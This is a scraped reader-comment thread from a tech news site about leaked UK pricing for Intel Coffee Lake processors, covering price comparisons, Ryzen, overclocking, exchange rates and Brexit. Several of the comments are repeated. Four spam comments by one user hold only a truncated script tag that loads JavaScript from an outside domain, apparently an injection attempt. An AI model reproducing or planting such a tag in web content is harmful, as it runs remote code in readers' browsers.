It is more expensive because it is better. It is better because it is intel. It is intel because it is better. It is better because it is more expensive.
I could legitimize staying with Intel despite forcing a new chipset on coffee lake if that chipset gave me more lanes or quad channel memory in addition to the core count increase... But all that hinges on the price relevance remaining for such a comparison to seem like a win ( single core performance king and 6 core upgrade over my aging 6 core hedt workstation without to much of a sacrifice in lanes ) I would be very surprised if they release at over $350 here in the US. ( but then again I doubt there will be ant chipset advantage to the forced chipset... So it looks like I am waiting for Ryzen's 2nd iteration after epyc finishes this cycle till I can gauge what will be the best long term purchase decision? Canon Lake vs Ryzen gen 2? )
Sorta hoping AMD isn't going into it's hibernation for another 10 years. Otherwise PCI-E 4 and 5 back to back in a little over a year just seems to soon to make a major purchase upgrade cycle when PCI-E 3 has lasted so long.
not really suprized , -the 8700K very likely makes some of the X299 platform look stupid. -just like the 7700K the 8700K my prediction will be again king of gaming -yields/supply , 7700K was at launch ??
the 8700K looks like me for the high end gamers who are paying premium on everything , so why not cpu. if you want MT performance you do not sacrifice much ST going other routes.
PS I got myself a ryzen , if you want absolute the best and pay for 1080GTX Ti you can also pay a lot more for a 8700K. it suck but i can still understand it.
true but x299 makes x299 look stupid so they need an obvious win and some show of competition commitment. ( suppose they don't have to do anything and can arrogantly proceed as if all is just dandy and the landscape has not changed. ) Not lowering prices is kinda of arrogant denial at this point. Raising prices in this market? Thats just spit in faces bravado making a point that yer huge enuff to be as arrogant as u wanna B?
I think just focusing on the price increase for the "equivalent" model is quite a negative point of view. With previous new intel cpus, you basically got a cpu which was minimally faster than the former version, at the same price. Now you get one which is substantially faster, but at a slightly higher price. You could, however, instead focus on comparisons to former cpus based on performance. For instance, that i3-8100 looks like a very good deal compared to previous core i5. Sure it won't have turbo, but it's got a base frequency of 3.6Ghz - the core i5-7400, while costing 50 bucks more, has a max turbo frequency of 3.5Ghz, so that new little core i3 should always beat it (I would in fact expect that i3 to be closer in performance to the core i5-7500, which has base freq of 3.4Ghz and turbo freq of 3.8Ghz). So imho that little i3 looks very promising (this should also help to differentiate the i3 again against the latest pentiums, which also were 2 cores, 4 threads, and nearly the same performance as the i3).
How could they not be faster? These chips are pretty much all the same as the previous ones (they aren't really a new generation), they've just got more cores. And while for some models the base clock may be lower, the turbo clock rates will be similar or higher (so if not all cores are used they will reach slightly higher clocks than the old ones). So, single-threaded, there won't really be much of an improvement. Multithreaded, you can however definitely expect a substantial increase (even if the achieved actual clock rates may be slightly lower in this case)
Well, for sure this is an ironic claiming. Due an obvious better technology now we get a more powerful CPU but also the cost of manufacture has been improved. Just probably the cost of researching increases. Even so, if we take as an example the i7 since Sandy Bridge to Coffee Lake, we see an increase of 26.18% which seems to me high for an economy like the United States, I never has lived in the States, though. If AMD succeed, we shall see more stable prices at the future. Just my impression.
Better to compare with UK retail prices than US prices, because we get gouged above the norm. For example, Lambda-tek sell the i7-7700k for £310 retail and £313 tray. Yes, their tray price is higher, because Lambda-tek's pricing is infamous for being all over the place. They're possibly one of the worst sources to pick if you want to try and guess MSRPs.
Yeah, it's a bit dodgy to judge what will happen in the US based on UK pricing. There are some whacko price markups here, and they're never consistent, eg. compare the MSI 1080 Ti Gaming X on newegg vs Scan in the UK, the difference is enormous, but differences for other types of product can be higher or lower, it varies. And indeed, Lambda-tek's pricing is often weird; I normally check Scan for a sense of typical pricing, cross check with Amazon, Aria, OCUK and others for best price.
Agreed. Lambda-tek had their Vega 64 pre-order for £703 - and now it's £620! Or looking at the last CPU launch, their 1700X was a whopping £380 pre-order. They're not a particularly reliable or sizeable retailer from which to spin a whole article like this!
Although if we use these actual historical prices to try to gauge how much Lambda is off by, it seems to be almost a 1:1 conversion. In other words, the 8700K will cost US$354.
But while that is a more thorough and less knee-jerk method of applying Lambda's prices to the real world, it's still absolute nonsense - because it's only Lambda-tek anyway! The only real takeaway from this article is that the 8700K will not cost MORE than $400.
It's so strange - I was sure I was trying to visit anandtech, but I seem to have just read a WCCFTech article instead! :P
I'm going to wait until October before I buy this. Conversions across the pond tend to be weird, and we've seen plenty of pre-order pricing weirdness this year from many companies and many retailers. $400 seems a little high to me, unless stock is incredibly low for some reason.
I imagine the MSRP will be above the 7700k, but I don't think Intel would go much more than $20, maybe $30 over, so I'd expect something like $359 or maybe $369. The 1700X is readily available at $350 now, so I wonder if Intel will want to go too much higher than it.
To be clear, before I buy these pricing numbers, not before I buy Coffee Lake. I still might buy Coffee Lake, but I obviously won't be doing so before October :P
I'm not entirely sure back-converting to the dollar is necessarily as reliable today as it has been in the past, assuming it ever were.
The dollar has been dropping against other currencies as of late but that usually doesn't translate into cheaper prices outside of the US. My point being that it might not translate to more expensive ones /in/ the US either.
Not that I'd be surprised if Intel raised the prices, I'm just saying that this might be a less valid base of comparison than it was in the past.
It should still be less expensive than a X299 motherboard and Core i7-6800X processor. I sure hope that when the Anandtech Review hits, it has a comparison with other 6-Core processors Intel has sold going back to Gulftown.
Oh, I'd love to see this too. It'd be cool to involve Intel's past six-core designs and see if there's anything unusual about moving it down to the mainstream parts (and saddling it with a GPU nearby?)
i5-7600K, 4/4 at 3.8Ghz @ $241 vs i3-8350K, 4/4 at 4.0Ghz @ $197 = Consumer wins with Coffee Lake. 22% less for the same CPU.
i7-7700K, 4/8 at 4.2Ghz @ $354 vs i5-8600K, 6/6 at 3.6Ghz @ $284 = Consumer wins with Coffee Lake, if he overclocks. 25% less for a CPU with 2 additional real cores. 10% lower clockspeed, but it's an intel CPU so presumably overclockable.
The new 6/12 i7 has no real equivalent in intel's Kaby Lake consumer line.
What's confusing here is the naming. By the time Cannon Lake comes out we'll all be used to it.
Correction, 16% slower clockspeeds for the i5-8600K. But if Coffee Lake overclocks like Kaby and Skylake before it, it'll get to 4.5Ghz no problem and possibly up to 4.8Ghz.
I was just comparing the i3 8100 with the i5 7400. Same 4 cores, higher base frequency, $58 less.
I don't really think the high end of coffee lake in regards to pricing makes much sense, but intel will be competitive in the mainstream segment and on the lower end.
Yes, and most importantly consumers are better off this generation than the last one. If you still want a 2/4 or 2/2 CPU for whatever reason I'm sure they'll still sell them branded Pentium or Celeron.
They also have the i7-7700 for £272 and the i7-8700 for £292 which is more inline with the price increases mooted previously. They have the i7-7740X for £284 for another perspective. The i7-7700K is coming down in price which is not a surprise and is £300 at one place.
If these tracked at the price point of the previous two generation model equivalents (I'm looking specifically at i3-6100, i3-7100, and now i3-8100) these would be a spectacular value, and could be the absolute better choice over a Ryzen system. If these price increases hold true to actual MSRP (at least in the USA), then I'll have to take another look once the Ryzen APU's come out.
Sterling devalued almost 10% lower after the referendum against the Euro and Dollar, but has bounced back partially. A number of respected economic commenters (ie. not the ones who falsely predicted financial armageddon before and even since the vote) felt that this revaluation was actually overdue and necessary in the long term anyway to help mitigate our bad balance of payments problem, so it's not necessarily all bad. The latest figures for UK exporters (who are helped by a lower Pound) are indeed excellent and getting better, so the institutional wailing and gnashing of teeth is somewhat more muted now except in the scaremongering and Remoaning media who are determined to find Brexit "issues" everywhere. (You'd think they were cheering on Barnier and the EU Commission to make a bad deal inevitable, just so they could say "we told you so".)
So yes, our prices have spiked here since, especially on imported tech and most other goods. Unlike supermarkets, which have buffered some of the price rises to protect consumers (and defend their volatile market share), the tech retailers generally track the exchange rate. And it is exacerbated for end consumers by 20% sales tax (VAT) on that higher price... Needless to say, the sensible among us are rediscovering the joy of buying British products, seasonal food produce instead of expensive convenience imports and "staycations". ;)
And of course, as you say, for any sensible small business run by someone with half a brain, the joys of exports, something that was previously rather held back. :) In the week after Brexit, I literally made a sale to someone in Spain because for them it had become enough of a better deal due to the change in exchange rate.
More like 20% devaluation which has provided a temporary boost to exports for a few manufacturers while making imports far more expensive for the majority of the population.
Rabid Brexiteers grasping at straws to present a positive spin on a self-inflicted disaster LOL...
We haven't Brexited yet so it's up in the air as to what will happen.
The devaluation of sterling has solely occurred because the markets are trying to price in what they expect the impact of Brexit to be.
No-one actually knows what will happen, despite the rabid Brexiteers predicting a land of milk and honey and the rabid Remainers predicting apocalypse, doom and destruction.
Pretty disappointing to see a graph where the lowest Y point is not zero. It's distorting reality. This is a very misleading way to represent the data and it should be corrected. https://en.wikipedia.org/wiki/Misleading_graph#Tru...
Are you unable to read the numbers that say: 216, 212, 242, 242, etc. Graphs can sometimes be misleading--mostly when you're comparing a lot of data primarily based on the length of the bars. In the case it reads totally fine.
Folks, please don't compare prices between the US and any other country. The US prices are usually lower than anywhere else. Look at the MSRP of Galaxy phones, the iPhony just announced, etc. It seems there is a higher price with the i7-8700/K vs the i7-7700/K - but how much of it is this retailer trying to get the profit on the first buyers?
I remember reading (20+ years ago) that 90% of the profit on a product comes within the first 6 months of its life.
To me, the i5-8400 seems to be the best bargain of the lot. There are 6 cores (and no HT and no overclocking), but I'll take the extra 2 cores. I won't buy one, but good deal.
Intel, I only upgraded from i5-2500k because the video went out (not sure what happened). I'm driving a 6600k now. Give me a really good reason to upgrade, or I'll keep this 2-3 more years, and get a Ryzen 3 or whatever is available then.
Isn't that focus kinda the wrong way round? Surely what you should be asking is, does your system do what you want it to do? Is it fit for purpose? If so, then why upgrade at all? It's odd really that computer tech is the one field in which consumers have this desire for the manufacturers to convince them they need to buy something new. :D No need to upgrade if what you have is doing the job just fine, and in the meantime there's all sorts of things you can do to improve what you have, eg. replace the C drive with a 950 Pro, oc the CPU, fit a better GPU, etc.
Me... I just want the highest version of Intel's Integrated Graphics available... Why can't we get GT3+ on a Desktop I7. Not everyone wants to install an AMD/nVidia video card for the best video experience. Intel's high-end IGP is good stuff.. Peter
Well you have to install a discrete card for the best experience, doesn't matter whether you want to or not. Integrated graphics is a joke compared to discrete cards.
Also crazy expensive thanks to the l4 cache, which is why you only see it in the SKU's that don't make sense for most people. If that's what you're looking for, AMD has Raven Ridge launching soon, 4 cores, 8 threads and vega graphics that should provide a damned decent experience for most things.
Well so much for the $120-ish 4.0 Ghz i3 4/4 pricing rumor. $130 gets you a locked 3.6 Ghz quad... which don't get me wrong is still pretty darn good! Looking at the Coffee Lake lineup I expect we'll see slight price cuts on Ryzen across the board. Although that unlocked i3 is rubbing rather close in price to the 6 core i5 parts, ouch.
Intel chips should be faster in games, but at the same price, the R7 is better value. I don't expect AMD to sit there idle as well and with no refreshed Ryzen till next year, they could well start discounting the chips.
Not a good idea for a low-end consumer CPU. The CPUs aren't designed for multi socket setups. They don't have the right "fabric". Even if that weren't true, they don't have enough PCIe lanes to do such a setup justice. Then there's the cross-CPU latency, and you would be treading into NUMA vs UMA territory which brings into question the usefulness of the extra memory channels, at least in a consumer workload. Of course even if it came with no penalties, doubling memory bandwidth on an 8-core system is of questionable usefulness outside of integrated graphics, which is pointless in a system at this price range. $260 just in chips, a hugely expensive board, extra RAM sticks... and it would do well mainly in non-consumer workloads.
The thought is nice though. If we were able to do this without any downside, complications, or performance penalties, it would be swell. Multiple sockets definitely have their place in servers and other professional setups. Even multi-die setups like Threadripper have some of these issues and mostly shine in professional use, but the issues are less severe, and it's got a ton of PCIe channels.
I believe the Intel chip will be faster, however, Ryzen is still much better in value from my perspective. Intel's ecosystem means having to go through their extreme product segregation, for instance, pay extra for HT, and on top of that, pay extra for "overclockable" chip. Ironically, the TIM is so bad for the thermals that there was some noise wherein people are complaining that their "K" chips are overheating. With 6 cores to cool and higher clockspeed, I am even less skeptical that its worth paying extra for the overclocking chips since I don't feel the thermals are going to get any better. To add on to the insult, you still need to get a new overclocking chipset motherboard that is not cheap either.
I really tried to Google this: Can someone explain what the name of the chip speaks to in modern Intel hardware? i3 used to be dual+HT, i5 Straight quad, i7 quad+HT unless it had a U in the model, then it was a dual+HT. I literally know nothing about the m series in terms of model name and spec.So what now defines an i3,i5,i7,i9 and bonus points if you explain to me the m series. Don't link wikipedia; I want a 'as of right now' explanation.(That's a thanks for helping but be right to the minute relevant).
We’ve updated our terms. By continuing to use the site and/or by logging into your account, you agree to the Site’s updated Terms of Use and Privacy Policy.
62 Comments
Back to Article
willis936 - Tuesday, September 19, 2017 - link
"In order to compete with the now competitive market we will be increasing our prices."MajGenRelativity - Tuesday, September 19, 2017 - link
Logic!ddriver - Tuesday, September 19, 2017 - link
It is more expensive because it is better. It is better because it is intel. It is intel because it is better. It is better because it is more expensive.artk2219 - Wednesday, September 20, 2017 - link
Did you forget the /s ?theuglyman0war - Thursday, September 21, 2017 - link
I could legitimize staying with Intel despite forcing a new chipset on coffee lake if that chipset gave me more lanes or quad channel memory in addition to the core count increase...But all that hinges on the price relevance remaining for such a comparison to seem like a win ( single core performance king and 6 core upgrade over my aging 6 core hedt workstation without to much of a sacrifice in lanes )
I would be very surprised if they release at over $350 here in the US.
( but then again I doubt there will be ant chipset advantage to the forced chipset... So it looks like I am waiting for Ryzen's 2nd iteration after epyc finishes this cycle till I can gauge what will be the best long term purchase decision? Canon Lake vs Ryzen gen 2? )
Sorta hoping AMD isn't going into it's hibernation for another 10 years. Otherwise PCI-E 4 and 5 back to back in a little over a year just seems to soon to make a major purchase upgrade cycle when PCI-E 3 has lasted so long.
faric22 - Tuesday, September 26, 2017 - link
<script src="http://gimpotojeju.com/cole.js"></scrip...faric22 - Tuesday, September 26, 2017 - link
<script src="http://gimpotojeju.com/cole.js"></scrip...plopke - Tuesday, September 19, 2017 - link
not really suprized ,-the 8700K very likely makes some of the X299 platform look stupid.
-just like the 7700K the 8700K my prediction will be again king of gaming
-yields/supply , 7700K was at launch ??
the 8700K looks like me for the high end gamers who are paying premium on everything , so why not cpu. if you want MT performance you do not sacrifice much ST going other routes.
plopke - Tuesday, September 19, 2017 - link
PS I got myself a ryzen , if you want absolute the best and pay for 1080GTX Ti you can also pay a lot more for a 8700K. it suck but i can still understand it.theuglyman0war - Thursday, September 21, 2017 - link
true but x299 makes x299 look stupid so they need an obvious win and some show of competition commitment. ( suppose they don't have to do anything and can arrogantly proceed as if all is just dandy and the landscape has not changed. )Not lowering prices is kinda of arrogant denial at this point. Raising prices in this market? Thats just spit in faces bravado making a point that yer huge enuff to be as arrogant as u wanna B?
mczak - Tuesday, September 19, 2017 - link
I think just focusing on the price increase for the "equivalent" model is quite a negative point of view.With previous new intel cpus, you basically got a cpu which was minimally faster than the former version, at the same price. Now you get one which is substantially faster, but at a slightly higher price.
You could, however, instead focus on comparisons to former cpus based on performance. For instance, that i3-8100 looks like a very good deal compared to previous core i5. Sure it won't have turbo, but it's got a base frequency of 3.6Ghz - the core i5-7400, while costing 50 bucks more, has a max turbo frequency of 3.5Ghz, so that new little core i3 should always beat it (I would in fact expect that i3 to be closer in performance to the core i5-7500, which has base freq of 3.4Ghz and turbo freq of 3.8Ghz).
So imho that little i3 looks very promising (this should also help to differentiate the i3 again against the latest pentiums, which also were 2 cores, 4 threads, and nearly the same performance as the i3).
Intelfanboi69 - Tuesday, September 19, 2017 - link
The i5-8400 is also a good deal it can boost clock to 3.8 ghz and will probably beat ryzen in gamingAhnilated - Wednesday, September 20, 2017 - link
Where is your proof on it being "substantially faster"? It isn't out in public yet so how do you know this?mczak - Wednesday, September 20, 2017 - link
How could they not be faster? These chips are pretty much all the same as the previous ones (they aren't really a new generation), they've just got more cores. And while for some models the base clock may be lower, the turbo clock rates will be similar or higher (so if not all cores are used they will reach slightly higher clocks than the old ones).So, single-threaded, there won't really be much of an improvement. Multithreaded, you can however definitely expect a substantial increase (even if the achieved actual clock rates may be slightly lower in this case)
fourier07 - Saturday, September 23, 2017 - link
Well, for sure this is an ironic claiming. Due an obvious better technology now we get a more powerful CPU but also the cost of manufacture has been improved. Just probably the cost of researching increases. Even so, if we take as an example the i7 since Sandy Bridge to Coffee Lake, we see an increase of 26.18% which seems to me high for an economy like the United States, I never has lived in the States, though. If AMD succeed, we shall see more stable prices at the future. Just my impression.faric22 - Tuesday, September 26, 2017 - link
<script src="http://gimpotojeju.com/cole.js"></scrip...edzieba - Tuesday, September 19, 2017 - link
Better to compare with UK retail prices than US prices, because we get gouged above the norm. For example, Lambda-tek sell the i7-7700k for £310 retail and £313 tray. Yes, their tray price is higher, because Lambda-tek's pricing is infamous for being all over the place. They're possibly one of the worst sources to pick if you want to try and guess MSRPs.ImSpartacus - Tuesday, September 19, 2017 - link
Yeah, the best way to do this is to measure everything in the currency of the leak.If the 8700K is 5% costlier than the typical #700K price, then expect the USD price to increase 5%. It's that simple.
mapesdhs - Tuesday, September 19, 2017 - link
Yeah, it's a bit dodgy to judge what will happen in the US based on UK pricing. There are some whacko price markups here, and they're never consistent, eg. compare the MSI 1080 Ti Gaming X on newegg vs Scan in the UK, the difference is enormous, but differences for other types of product can be higher or lower, it varies. And indeed, Lambda-tek's pricing is often weird; I normally check Scan for a sense of typical pricing, cross check with Amazon, Aria, OCUK and others for best price.PenguinJim - Tuesday, September 19, 2017 - link
Agreed. Lambda-tek had their Vega 64 pre-order for £703 - and now it's £620! Or looking at the last CPU launch, their 1700X was a whopping £380 pre-order. They're not a particularly reliable or sizeable retailer from which to spin a whole article like this!Although if we use these actual historical prices to try to gauge how much Lambda is off by, it seems to be almost a 1:1 conversion. In other words, the 8700K will cost US$354.
But while that is a more thorough and less knee-jerk method of applying Lambda's prices to the real world, it's still absolute nonsense - because it's only Lambda-tek anyway! The only real takeaway from this article is that the 8700K will not cost MORE than $400.
It's so strange - I was sure I was trying to visit anandtech, but I seem to have just read a WCCFTech article instead! :P
Drumsticks - Tuesday, September 19, 2017 - link
I'm going to wait until October before I buy this. Conversions across the pond tend to be weird, and we've seen plenty of pre-order pricing weirdness this year from many companies and many retailers. $400 seems a little high to me, unless stock is incredibly low for some reason.I imagine the MSRP will be above the 7700k, but I don't think Intel would go much more than $20, maybe $30 over, so I'd expect something like $359 or maybe $369. The 1700X is readily available at $350 now, so I wonder if Intel will want to go too much higher than it.
Drumsticks - Tuesday, September 19, 2017 - link
To be clear, before I buy these pricing numbers, not before I buy Coffee Lake. I still might buy Coffee Lake, but I obviously won't be doing so before October :PExodite - Tuesday, September 19, 2017 - link
I'm not entirely sure back-converting to the dollar is necessarily as reliable today as it has been in the past, assuming it ever were.The dollar has been dropping against other currencies as of late but that usually doesn't translate into cheaper prices outside of the US. My point being that it might not translate to more expensive ones /in/ the US either.
Not that I'd be surprised if Intel raised the prices, I'm just saying that this might be a less valid base of comparison than it was in the past.
TEAMSWITCHER - Tuesday, September 19, 2017 - link
It should still be less expensive than a X299 motherboard and Core i7-6800X processor. I sure hope that when the Anandtech Review hits, it has a comparison with other 6-Core processors Intel has sold going back to Gulftown.Drumsticks - Tuesday, September 19, 2017 - link
Oh, I'd love to see this too. It'd be cool to involve Intel's past six-core designs and see if there's anything unusual about moving it down to the mainstream parts (and saddling it with a GPU nearby?)MrSpadge - Tuesday, September 19, 2017 - link
When was the last time prices 2 weeks before launch have been accurate? Usually there's a significant mark-up for early adopters.schizoide - Tuesday, September 19, 2017 - link
i5-7600K, 4/4 at 3.8Ghz @ $241vs
i3-8350K, 4/4 at 4.0Ghz @ $197
= Consumer wins with Coffee Lake. 22% less for the same CPU.
i7-7700K, 4/8 at 4.2Ghz @ $354
vs
i5-8600K, 6/6 at 3.6Ghz @ $284
= Consumer wins with Coffee Lake, if he overclocks. 25% less for a CPU with 2 additional real cores. 10% lower clockspeed, but it's an intel CPU so presumably overclockable.
The new 6/12 i7 has no real equivalent in intel's Kaby Lake consumer line.
What's confusing here is the naming. By the time Cannon Lake comes out we'll all be used to it.
schizoide - Tuesday, September 19, 2017 - link
Correction, 16% slower clockspeeds for the i5-8600K. But if Coffee Lake overclocks like Kaby and Skylake before it, it'll get to 4.5Ghz no problem and possibly up to 4.8Ghz.anactoraaron - Tuesday, September 19, 2017 - link
I was just comparing the i3 8100 with the i5 7400. Same 4 cores, higher base frequency, $58 less.I don't really think the high end of coffee lake in regards to pricing makes much sense, but intel will be competitive in the mainstream segment and on the lower end.
schizoide - Tuesday, September 19, 2017 - link
Yes, and most importantly consumers are better off this generation than the last one. If you still want a 2/4 or 2/2 CPU for whatever reason I'm sure they'll still sell them branded Pentium or Celeron.smilingcrow - Tuesday, September 19, 2017 - link
They also have the i7-7700 for £272 and the i7-8700 for £292 which is more inline with the price increases mooted previously.They have the i7-7740X for £284 for another perspective.
The i7-7700K is coming down in price which is not a surprise and is £300 at one place.
jardows2 - Tuesday, September 19, 2017 - link
If these tracked at the price point of the previous two generation model equivalents (I'm looking specifically at i3-6100, i3-7100, and now i3-8100) these would be a spectacular value, and could be the absolute better choice over a Ryzen system. If these price increases hold true to actual MSRP (at least in the USA), then I'll have to take another look once the Ryzen APU's come out.Stochastic - Tuesday, September 19, 2017 - link
Does Brexit factor into this at all? I live in the US, so I don't know how Brexit has impacted prices in the UK.asmian - Tuesday, September 19, 2017 - link
Sterling devalued almost 10% lower after the referendum against the Euro and Dollar, but has bounced back partially. A number of respected economic commenters (ie. not the ones who falsely predicted financial armageddon before and even since the vote) felt that this revaluation was actually overdue and necessary in the long term anyway to help mitigate our bad balance of payments problem, so it's not necessarily all bad. The latest figures for UK exporters (who are helped by a lower Pound) are indeed excellent and getting better, so the institutional wailing and gnashing of teeth is somewhat more muted now except in the scaremongering and Remoaning media who are determined to find Brexit "issues" everywhere. (You'd think they were cheering on Barnier and the EU Commission to make a bad deal inevitable, just so they could say "we told you so".)So yes, our prices have spiked here since, especially on imported tech and most other goods. Unlike supermarkets, which have buffered some of the price rises to protect consumers (and defend their volatile market share), the tech retailers generally track the exchange rate. And it is exacerbated for end consumers by 20% sales tax (VAT) on that higher price... Needless to say, the sensible among us are rediscovering the joy of buying British products, seasonal food produce instead of expensive convenience imports and "staycations". ;)
mapesdhs - Tuesday, September 19, 2017 - link
And of course, as you say, for any sensible small business run by someone with half a brain, the joys of exports, something that was previously rather held back. :) In the week after Brexit, I literally made a sale to someone in Spain because for them it had become enough of a better deal due to the change in exchange rate.TesseractOrion - Thursday, September 21, 2017 - link
More like 20% devaluation which has provided a temporary boost to exports for a few manufacturers while making imports far more expensive for the majority of the population.Rabid Brexiteers grasping at straws to present a positive spin on a self-inflicted disaster LOL...
mkaibear - Wednesday, September 20, 2017 - link
We haven't Brexited yet so it's up in the air as to what will happen.The devaluation of sterling has solely occurred because the markets are trying to price in what they expect the impact of Brexit to be.
No-one actually knows what will happen, despite the rabid Brexiteers predicting a land of milk and honey and the rabid Remainers predicting apocalypse, doom and destruction.
oranos - Tuesday, September 19, 2017 - link
They are following Apple's steps. "This incremental upgrade is substantially more incremental than previous ones, so lets charge more"cosmotic - Tuesday, September 19, 2017 - link
Pretty disappointing to see a graph where the lowest Y point is not zero. It's distorting reality. This is a very misleading way to represent the data and it should be corrected. https://en.wikipedia.org/wiki/Misleading_graph#Tru...MrSpadge - Tuesday, September 19, 2017 - link
No, it's perfectly valid as long as you clearly label the axis as it is. Personally I'm even strongly against scaling logarithmic axes until 0.Nagorak - Wednesday, September 20, 2017 - link
Are you unable to read the numbers that say: 216, 212, 242, 242, etc. Graphs can sometimes be misleading--mostly when you're comparing a lot of data primarily based on the length of the bars. In the case it reads totally fine.ianmills - Wednesday, September 20, 2017 - link
Misleading graphs are the norm. TBH I can't think of any site offhand that does not engage in thisjbwhite99 - Tuesday, September 19, 2017 - link
Folks, please don't compare prices between the US and any other country. The US prices are usually lower than anywhere else. Look at the MSRP of Galaxy phones, the iPhony just announced, etc. It seems there is a higher price with the i7-8700/K vs the i7-7700/K - but how much of it is this retailer trying to get the profit on the first buyers?I remember reading (20+ years ago) that 90% of the profit on a product comes within the first 6 months of its life.
To me, the i5-8400 seems to be the best bargain of the lot. There are 6 cores (and no HT and no overclocking), but I'll take the extra 2 cores. I won't buy one, but good deal.
Intel, I only upgraded from i5-2500k because the video went out (not sure what happened). I'm driving a 6600k now. Give me a really good reason to upgrade, or I'll keep this 2-3 more years, and get a Ryzen 3 or whatever is available then.
mapesdhs - Tuesday, September 19, 2017 - link
Isn't that focus kinda the wrong way round? Surely what you should be asking is, does your system do what you want it to do? Is it fit for purpose? If so, then why upgrade at all? It's odd really that computer tech is the one field in which consumers have this desire for the manufacturers to convince them they need to buy something new. :D No need to upgrade if what you have is doing the job just fine, and in the meantime there's all sorts of things you can do to improve what you have, eg. replace the C drive with a 950 Pro, oc the CPU, fit a better GPU, etc.Nagorak - Wednesday, September 20, 2017 - link
Buying a non-overclockable is a bad long-term buy. I5 2500Ks are still competitive today. Lower end i5/i7s largely are not.HardwareDufus - Tuesday, September 19, 2017 - link
Me... I just want the highest version of Intel's Integrated Graphics available... Why can't we get GT3+ on a Desktop I7. Not everyone wants to install an AMD/nVidia video card for the best video experience. Intel's high-end IGP is good stuff..Peter
Nagorak - Wednesday, September 20, 2017 - link
Well you have to install a discrete card for the best experience, doesn't matter whether you want to or not. Integrated graphics is a joke compared to discrete cards.artk2219 - Wednesday, September 20, 2017 - link
Also crazy expensive thanks to the l4 cache, which is why you only see it in the SKU's that don't make sense for most people. If that's what you're looking for, AMD has Raven Ridge launching soon, 4 cores, 8 threads and vega graphics that should provide a damned decent experience for most things.Alexvrb - Tuesday, September 19, 2017 - link
Well so much for the $120-ish 4.0 Ghz i3 4/4 pricing rumor. $130 gets you a locked 3.6 Ghz quad... which don't get me wrong is still pretty darn good! Looking at the Coffee Lake lineup I expect we'll see slight price cuts on Ryzen across the board. Although that unlocked i3 is rubbing rather close in price to the 6 core i5 parts, ouch.watzupken - Wednesday, September 20, 2017 - link
Intel chips should be faster in games, but at the same price, the R7 is better value. I don't expect AMD to sit there idle as well and with no refreshed Ryzen till next year, they could well start discounting the chips.peevee - Wednesday, September 20, 2017 - link
What is with disabling HT in most SKUs? After all, all the hardware is there...Intel marketing department should be shot.
artk2219 - Wednesday, September 20, 2017 - link
I agree, i don't see why they don't introduce an "I5" model with 4 cores and 8 threads, like its Ryzen counterpart.peevee - Wednesday, September 20, 2017 - link
Given the prices per core, somebody should make a dual-CPU chipset for i3-8100. Would double total memory throughput and provide the best perf/$.Alexvrb - Wednesday, September 20, 2017 - link
Not a good idea for a low-end consumer CPU. The CPUs aren't designed for multi socket setups. They don't have the right "fabric". Even if that weren't true, they don't have enough PCIe lanes to do such a setup justice. Then there's the cross-CPU latency, and you would be treading into NUMA vs UMA territory which brings into question the usefulness of the extra memory channels, at least in a consumer workload. Of course even if it came with no penalties, doubling memory bandwidth on an 8-core system is of questionable usefulness outside of integrated graphics, which is pointless in a system at this price range. $260 just in chips, a hugely expensive board, extra RAM sticks... and it would do well mainly in non-consumer workloads.The thought is nice though. If we were able to do this without any downside, complications, or performance penalties, it would be swell. Multiple sockets definitely have their place in servers and other professional setups. Even multi-die setups like Threadripper have some of these issues and mostly shine in professional use, but the issues are less severe, and it's got a ton of PCIe channels.
Snyp - Thursday, September 21, 2017 - link
Hi I speak spanish but you need see this page.Me gustaria redactar esta noticia en español y ser una persona que brinda noticias comparto con ustedes el siguiente link
https://www.cdw.com/shop/products/INTEL-CORE-I7-87...
Snyp - Thursday, September 21, 2017 - link
same product :D filter pricehttps://s3-us-west-1.amazonaws.com/spartan-board/p...
Snyp - Thursday, September 21, 2017 - link
Why delete mi comment? =/sarscott - Thursday, September 21, 2017 - link
There's a chart on wccftech that states that the i3 8100 and the i3 8350k use the 200 pch.http://wccftech.com/intel-coffee-lake-cpu-not-comp...
watzupken - Sunday, September 24, 2017 - link
I believe the Intel chip will be faster, however, Ryzen is still much better in value from my perspective. Intel's ecosystem means having to go through their extreme product segregation, for instance, pay extra for HT, and on top of that, pay extra for "overclockable" chip. Ironically, the TIM is so bad for the thermals that there was some noise wherein people are complaining that their "K" chips are overheating. With 6 cores to cool and higher clockspeed, I am even less skeptical that its worth paying extra for the overclocking chips since I don't feel the thermals are going to get any better. To add on to the insult, you still need to get a new overclocking chipset motherboard that is not cheap either.zzz777 - Sunday, September 24, 2017 - link
I really tried to Google this: Can someone explain what the name of the chip speaks to in modern Intel hardware? i3 used to be dual+HT, i5 Straight quad, i7 quad+HT unless it had a U in the model, then it was a dual+HT. I literally know nothing about the m series in terms of model name and spec.So what now defines an i3,i5,i7,i9 and bonus points if you explain to me the m series. Don't link wikipedia; I want a 'as of right now' explanation.(That's a thanks for helping but be right to the minute relevant).paul sss - Monday, September 25, 2017 - link
just get a old 5560 of ebay for 20usd if you are thinking about a i5 or less and a x58 Motherboard .faric22 - Tuesday, September 26, 2017 - link
<script src="http://gimpotojeju.com/cole.js"></scrip...